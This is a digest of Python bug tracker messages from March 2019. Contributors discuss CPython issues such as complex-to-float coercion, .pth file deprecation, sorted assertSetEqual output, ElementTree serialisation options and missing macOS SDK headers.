Message-ID: <1551992495.99.0.72077299634.issue36228@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
title: Add function to complex object -> Support coercion of complex to float/int

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:04:14 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 21:04:14 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551992654.73.0.0885047158651.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> You mean extra junk like .pth files? I don't see the difference between a .py file and a .pth file, except I can?t opt out of .pth files.

And you get multiple lines of code, and syntax highlighting, and linting, and all the other goodness in a genuine source file :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:15:58 2019
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 07 Mar 2019 21:15:58 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1551993358.22.0.675464054276.issue36228@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Agreed with Josh and closing the issue as rejected.  I'm adding our math experts just in case they disagree or want to provide further clarity.

----------
components: +Interpreter Core -Extension Modules, Library (Lib)
nosy: +lemburg, mark.dickinson, rhettinger, stutzbach, zach.ware
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:21:57 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Thu, 07 Mar 2019 21:21:57 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1551993716.99.0.552085213511.issue36228@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

Agreed with the closure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:39:51 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Thu, 07 Mar 2019 21:39:51 +0000
Subject: [issue36229] Linear-time ops for some mutable collections.
Message-ID: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>


New submission from Brandt Bucher <brandtbucher at gmail.com>:

Binary operations on collections are, in general, of quadratic complexity. However, we can sometimes operate in-place if we know that we hold the only reference to the object. This allows us to avoid making many intermediate copies when summing many lists (or dicts ;), taking the union of many sets, or working with literals.

The attached PR adds a simple 2-line refcount check which delegates to the corresponding in-place operation for: list_concat, list_repeat, set_and, set_or, set_xor, set_sub, bytearray_concat, and bytearray_repeat.

----------
components: Interpreter Core
messages: 337442
nosy: brandtbucher
priority: normal
severity: normal
status: open
title: Linear-time ops for some mutable collections.
type: performance
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:40:08 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Thu, 07 Mar 2019 21:40:08 +0000
Subject: [issue36229] Linear-time ops for some mutable collections.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1551994808.21.0.670367907356.issue36229@roundup.psfhosted.org>


Change by Brandt Bucher <brandtbucher at gmail.com>:


----------
keywords: +patch
pull_requests: +12216
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Thu Mar  7 17:00:28 2019
From: report at bugs.python.org (Jess)
Date: Thu, 07 Mar 2019 22:00:28 +0000
Subject: [issue36230] Please sort assertSetEqual's output
Message-ID: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>


New submission from Jess <jess at gmail.com>:

Currently https://docs.python.org/2/library/unittest.html#unittest.TestCase.assertSetEqual returns a random list, but I'd like to see it sorted for ease of reading which running tests.

Should be small, but useful.  Happy to make the edit myself, but have no clue how to send you changes.

----------
components: Tests
messages: 337443
nosy: Jess
priority: normal
severity: normal
status: open
title: Please sort assertSetEqual's output
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Thu Mar  7 17:13:38 2019
From: report at bugs.python.org (Martin Panter)
Date: Thu, 07 Mar 2019 22:13:38 +0000
Subject: [issue36226] multipart/related header causes false positive
 StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
In-Reply-To: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>
Message-ID: <1551996818.91.0.240953834361.issue36226@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

Probably the same as Issue 29353. I remember than enabling "headersonly" can create inconsistencies in the message object. But I don't remember the details.

According to Issue 29991 (another duplicate), my patch for Issue 24363 might help. But I don't think I got much enthusiasm reviewing that (and I don't have time to spend on it now).

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Thu Mar  7 17:42:14 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 07 Mar 2019 22:42:14 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1551998534.8.0.0904168831999.issue36230@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi Jess, I think this could be added.

I think it should require only a a sort in https://github.com/python/cpython/blob/0f221d09cad46bee38d1b7a7822772df66c53028/Lib/unittest/case.py#L1127-L1138, to update the tests and add a blurb.

You will need to get Python source code at https://github.com/python/cpython and you can get information about how to contribute to Python in the dev guide : https://devguide.python.org/

If you need help, I would be happy to assist you and to review your pull request.

If you don't have time to work on this issue, I think we could keep it for the next mentored sprint.

----------
components: +Library (Lib) -Tests
nosy: +remi.lapeyre
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Thu Mar  7 17:58:25 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 07 Mar 2019 22:58:25 +0000
Subject: [issue35975] Put back the ability to parse files where async/await
 aren't keywords
In-Reply-To: <1549931018.54.0.209945896308.issue35975@roundup.psfhosted.org>
Message-ID: <1551999505.49.0.808404465787.issue35975@roundup.psfhosted.org>


Change by Guido van Rossum <guido at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35975>
_______________________________________

From report at bugs.python.org  Thu Mar  7 18:02:13 2019
From: report at bugs.python.org (Thomas Kluyver)
Date: Thu, 07 Mar 2019 23:02:13 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551999733.0.0.0801617736462.issue33944@roundup.psfhosted.org>


Thomas Kluyver <thomas at kluyver.me.uk> added the comment:

As a lurker on this issue: I think a lot of energy is being expended arguing about what is and isn't legitimate use cases, when there's actually more stuff that people agree about than not.

I think this issue should be broken down into two, neither of which will actually result in removing pth files:

1. Better ways to inspect and control the sys.path extension feature (as per Barry's message https://bugs.python.org/issue33944#msg337417 ).
2. Designing a replacement for the arbitrary-code-at-startup feature (or even several replacements to meet different needs), leading to its eventual deprecation.

If you like the ability for packages to install interpreter-startup hooks, then pth files are an ugly way to do it. If you don't, then you want better ways to control it. So let's see what we can come up with.

At least several important use cases (coverage and debugging) would probably work with an environment variable to specify startup code. The coverage hooks already check an environment variable themselves, so it's clearly a control mechanism that works. It's also familiar from things like LD_PRELOAD that environment variables can affect code in powerful ways.

But the PYTHONSTARTUP variable is not suitable for this, because it only affects interactive shell sessions. So maybe one useful step would be to specify a new environment variable, maybe PYTHONPRELOAD, and figure out how it will interact with all the other options.

Then we can re-evaluate the use cases Anthony described (https://bugs.python.org/issue33944#msg337406 ) and debate the need for other startup-code mechanisms to go along with that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 18:06:14 2019
From: report at bugs.python.org (Jess)
Date: Thu, 07 Mar 2019 23:06:14 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1551999974.77.0.775380152665.issue36230@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

Wow!  Thank you, very fast and the precise snippet of info I needed.  Will try to send something off today.  Very exciting.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Thu Mar  7 18:06:43 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 07 Mar 2019 23:06:43 +0000
Subject: [issue35435] Discourage external links to old docs.
In-Reply-To: <1544164258.79.0.788709270274.issue35435@psf.upfronthosting.co.za>
Message-ID: <1552000003.37.0.478074534158.issue35435@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

James Lu today posted to python-ideas
'Make Python 2.7?s online docs optionally redirect to  Python 3 online docs'

Andra Roberge: There exists browser extensions that do this:
https://addons.mozilla.org/en-US/firefox/addon/py3direct/
https://chrome.google.com/webstore/detail/py3redirect/codfjigcljdnlklcaopdciclmmdandig?hl=en

Steven D'Aprano pointed to this issue and gave some 3 first and 2 first examples.  I discovered that the only first page 3.x link for me for
https://www.startpage.com/do/search?q=python+docs+netrc
only points
to https://docs.python.org/3.1/library/netrc.html
with no clicky way to get to the current .../3/..., so we still need links added.

Julien, do we still need this issue open, or is this superceded by
https://github.com/python/python-docs-theme/issues/24 ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35435>
_______________________________________

From report at bugs.python.org  Thu Mar  7 18:39:53 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 07 Mar 2019 23:39:53 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552001993.17.0.581992626668.issue36230@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +ezio.melotti, michael.foord, rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Thu Mar  7 19:25:56 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 00:25:56 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552004756.84.0.961673474948.issue35967@roundup.psfhosted.org>


Change by Jason R. Coombs <jaraco at jaraco.com>:


----------
assignee:  -> jaraco
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Thu Mar  7 21:35:50 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 02:35:50 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552012550.44.0.340199036774.issue35967@roundup.psfhosted.org>


Change by Jason R. Coombs <jaraco at jaraco.com>:


----------
keywords: +patch
pull_requests: +12217
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Thu Mar  7 22:06:25 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 08 Mar 2019 03:06:25 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552014385.89.0.138594732377.issue36227@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eli.bendersky, scoder, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Thu Mar  7 22:41:40 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 08 Mar 2019 03:41:40 +0000
Subject: [issue34162] idlelib/NEWS.txt for 3.8.0 (and backports)
In-Reply-To: <1532067299.29.0.56676864532.issue34162@psf.upfronthosting.co.za>
Message-ID: <1552016500.32.0.463862527655.issue34162@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
pull_requests: +12218

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34162>
_______________________________________

From report at bugs.python.org  Thu Mar  7 23:15:34 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 08 Mar 2019 04:15:34 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552018534.76.0.410641537833.issue36230@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> I think it should require only a a sort 

It's possible to have non-sortable elements in the set, so you'll either need to sort on the repr of the elements or have a fallback:

    assertSetEqual({10, None, 'abc'}, {20, 3+4j, 10})

----------
assignee:  -> michael.foord
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 00:11:55 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Fri, 08 Mar 2019 05:11:55 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552021915.72.0.524384721614.issue36228@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

I think math.floor should raise TypeError if complex argument passed,
but we need cmath.floor(and ceil).
As I know floor complex number is just floor real part and floor imag.
Example:
z=1.1+2.5j
floor(z) #2+3j
I think it's correct.
But I don't know about complex to float and to int.
Maybe you are right

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 00:36:01 2019
From: report at bugs.python.org (Windson Yang)
Date: Fri, 08 Mar 2019 05:36:01 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552023361.22.0.792638469479.issue36230@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

Just to be clear, as Raymond said, when we have two non-sortable objects (for instance, two instances which their class didn't implement the __lt__ and __gt__ methods), we should compare their repr() without sort() like now.

----------
nosy: +Windson Yang

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 00:41:32 2019
From: report at bugs.python.org (Windson Yang)
Date: Fri, 08 Mar 2019 05:41:32 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552023692.94.0.226458928957.issue36230@roundup.psfhosted.org>


Change by Windson Yang <wiwindson at outlook.com>:


----------
versions: +Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:04:36 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 08 Mar 2019 08:04:36 +0000
Subject: [issue34162] idlelib/NEWS.txt for 3.8.0 (and backports)
In-Reply-To: <1532067299.29.0.56676864532.issue34162@psf.upfronthosting.co.za>
Message-ID: <1552032276.87.0.799851880274.issue34162@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 8a1bab92915dd5c88832706c56af2f5611181d50 by Terry Jan Reedy in branch 'master':
bpo-34162: Add entries for idlelib/NEWS.txt (#12232)
https://github.com/python/cpython/commit/8a1bab92915dd5c88832706c56af2f5611181d50


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34162>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:04:45 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 08 Mar 2019 08:04:45 +0000
Subject: [issue34162] idlelib/NEWS.txt for 3.8.0 (and backports)
In-Reply-To: <1532067299.29.0.56676864532.issue34162@psf.upfronthosting.co.za>
Message-ID: <1552032285.99.0.834809674152.issue34162@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12219

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34162>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:25:55 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 08 Mar 2019 08:25:55 +0000
Subject: [issue34162] idlelib/NEWS.txt for 3.8.0 (and backports)
In-Reply-To: <1532067299.29.0.56676864532.issue34162@psf.upfronthosting.co.za>
Message-ID: <1552033555.93.0.498985121682.issue34162@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 02351ed1ba601445735c6a6eae6f9b1d37fae8cd by Miss Islington (bot) in branch '3.7':
bpo-34162: Add entries for idlelib/NEWS.txt (GH-12232)
https://github.com/python/cpython/commit/02351ed1ba601445735c6a6eae6f9b1d37fae8cd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34162>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:32:23 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 08 Mar 2019 08:32:23 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552033943.46.0.93748693592.issue35967@roundup.psfhosted.org>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

As the documentation says, the API is intended as fairly portable implementation of the Unix uname helper across platforms. It's fine to redirect this directly to e.g. /proc output instead of using the executable, but in whatever you do here, the output of platform.uname() needs to stay compatible to what the function returned prior to such a change, which usually means: to the output of the uname helper on a system.

Could you please check that on most systems, the output remains the same ?

Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:37:57 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 08 Mar 2019 08:37:57 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552034277.96.0.138604248752.issue36227@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

The feature seems reasonable to me and the patch looks good.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:50:51 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 08 Mar 2019 08:50:51 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552035051.93.0.782186125342.issue36227@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

See also issue31256.

I do not know what is better: make tostring() to accept all options of write(), or keep it simpler. What strategy lxml supports?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:55:45 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 08 Mar 2019 08:55:45 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552035345.3.0.596080846691.issue36230@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

@rhettinger
> It's possible to have non-sortable elements in the set, so you'll either need to sort on the repr of the elements or have a fallback

Yes, it is the repr that is used in the loop and that what's the sorting needs to be done against.


@Windson Yang
> we should compare their repr() without sort() like now.

I'm not sure to understand, can you provide more information about what you are thinking of?

Is there a reason to add 2.7, 3.4, 3.5, 3.6 and 3.7 to versions affected ?

As far as I can tell, this is a new feature and should only go in 3.8.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 03:58:56 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 08 Mar 2019 08:58:56 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552035536.9.0.477206860525.issue36227@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

lxml does not support the "default_namespace" option specifically (because its tree model preserves namespace prefixes), but it generally makes all (justifiable) serialisation options available to both tostring() and ET.write().

I think the same should apply to ElementTree. Both the "default_namespace" and "doctype" options seem useful regardless of the serialisation target.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Fri Mar  8 04:44:41 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Fri, 08 Mar 2019 09:44:41 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552038281.46.0.864711191416.issue36228@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

Oh, __floor__ can return anything.
So I suggest:
1. Methods __floor__ and __ceil__ for complex object.
2. Don't change __float__ and __int__ methods.
3. So I think it isn't nessesary to add methods floor and ceil to complex module.
Example:
from math import *
z=1.1+1.1j
floor(z) #1+1j, same as z.__floor__()
ceil(z) #2+2j, samse as z.__ceil__()

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 04:51:18 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 08 Mar 2019 09:51:18 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552038678.18.0.05705773518.issue36227@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Okay. Bernt, do you mind to add also the xml_declaration option in PR 12225 or create a separate PR for issue31256?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:03:47 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Fri, 08 Mar 2019 10:03:47 +0000
Subject: [issue36231] no "proper" header files on macOS 10.14 Mojave
Message-ID: <1552039427.3.0.599611853277.issue36231@roundup.psfhosted.org>


New submission from Dmitrii Pasechnik <dimpase at gmail.com>:

Neither Xcode nor its command-line tools on macOS 10.14 Mojave come with header files installed in /usr/ and other "normal" directories.

This is not documented in https://devguide.python.org/setup/#macos-and-os-x

While an extra step to handle this, i.e. to install the headers, is available (see a discussion on https://bugs.python.org/issue34956), Apple stated that this workaround will disappear.

It is thus highly desirable to provide a way to deal with headers located not at /usr/include, but at `xcrun --show-sdk-path`/usr/include.
A small change in setup.py along the lines of the following:

--- a/setup.py
+++ b/setup.py
@@ -134,7 +134,8 @@ def macosx_sdk_root():
     cflags = sysconfig.get_config_var('CFLAGS')
     m = re.search(r'-isysroot\s+(\S+)', cflags)
     if m is None:
-        sysroot = '/'
+        import subprocess
+        sysroot = subprocess.check_output(["xcrun", "--show-sdk-path"]).decode("utf-8").strip('\n')
     else:
         sysroot = m.group(1)
     return sysroot
@@ -146,6 +147,7 @@ def is_macosx_sdk_path(path):
     """
     return ( (path.startswith('/usr/') and not path.startswith('/usr/local'))
                 or path.startswith('/System/')
+                or path.startswith('/Applications/')
                 or path.startswith('/Library/') )

with the necessary changes to enable various modules (see attachment for a complete POC diff against the current master), the result builds and passes all the (enabled) tests on an OSX 10.13 system with empty /usr/include and /usr/local/include containing only LZMA headers.

Needless to say, a proper patch would not modify Modules/Setup, it'd adjust configure.ac etc.

----------
components: macOS
files: noincludedirs_OSX.patch
keywords: patch
messages: 337461
nosy: dimpase, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: no "proper" header files on macOS 10.14 Mojave
type: compile error
versions: Python 3.8
Added file: https://bugs.python.org/file48192/noincludedirs_OSX.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36231>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:06:52 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Fri, 08 Mar 2019 10:06:52 +0000
Subject: [issue36232] Improve error message on dbm.open
Message-ID: <1552039612.76.0.91124690084.issue36232@roundup.psfhosted.org>


New submission from Marco Rougeth <marco at rougeth.com>:

If dbm.open is used with the flags 'r' or 'w' (read-only) to open a file that doesn't exist, it raises an exception with the message "need 'c' or 'n' flag to open new db". It'd be better to have a more explicit error message like "db file doesn't exist, use 'c' or 'n' flag to open new db".

----------
messages: 337462
nosy: rougeth
priority: normal
pull_requests: 12220
severity: normal
status: open
title: Improve error message on dbm.open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36232>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:08:07 2019
From: report at bugs.python.org (Johann Krauter)
Date: Fri, 08 Mar 2019 10:08:07 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
Message-ID: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>


New submission from Johann Krauter <johannkrauter at googlemail.com>:

I have the problem, that a xml file is save with the following xml declaration: 
<?xml version='1.0' encoding='utf-8'?> 
instead of 
<?xml version="1.0" encoding="utf-8"?>

I would propose to change the line number 769 in the ElementTree.py to: 
write("<?xml version=\"1.0\" encoding=\"%s\"?>\n" % (
                    declared_encoding,))

----------
components: XML
files: ElementTree.py
messages: 337463
nosy: Photoniker
priority: normal
severity: normal
status: open
title: xml ElementTree quotation marks of xml version string
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48193/ElementTree.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:12:26 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 10:12:26 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
Message-ID: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The Fedora package of python contains a downstream patch to add more tests for invalid uid types:
https://src.fedoraproject.org/rpms/python2/blob/master/f/00157-uid-gid-overflows.patch

I propose to make this patch upstream. More tests never hurts :-)

uid/gid overflow has been fixed bpo-4591.

The patch comes from:
https://bugzilla.redhat.com/show_bug.cgi?id=697470

Attached PRs add more tests.

----------
components: Tests
messages: 337464
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_os: add tests for invalid uid type
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:12:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 10:12:51 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552039971.32.0.0059816907594.issue36234@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
Added file: https://bugs.python.org/file48194/00157-uid-gid-overflows.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:14:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 10:14:52 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552040092.31.0.122809329119.issue36234@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

See _Py_Uid_Converter() and _Py_Gid_Converter() of Modules/posixmodule.c.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:28:15 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 10:28:15 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552040895.82.0.695360773747.issue36234@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12221
stage:  -> patch review

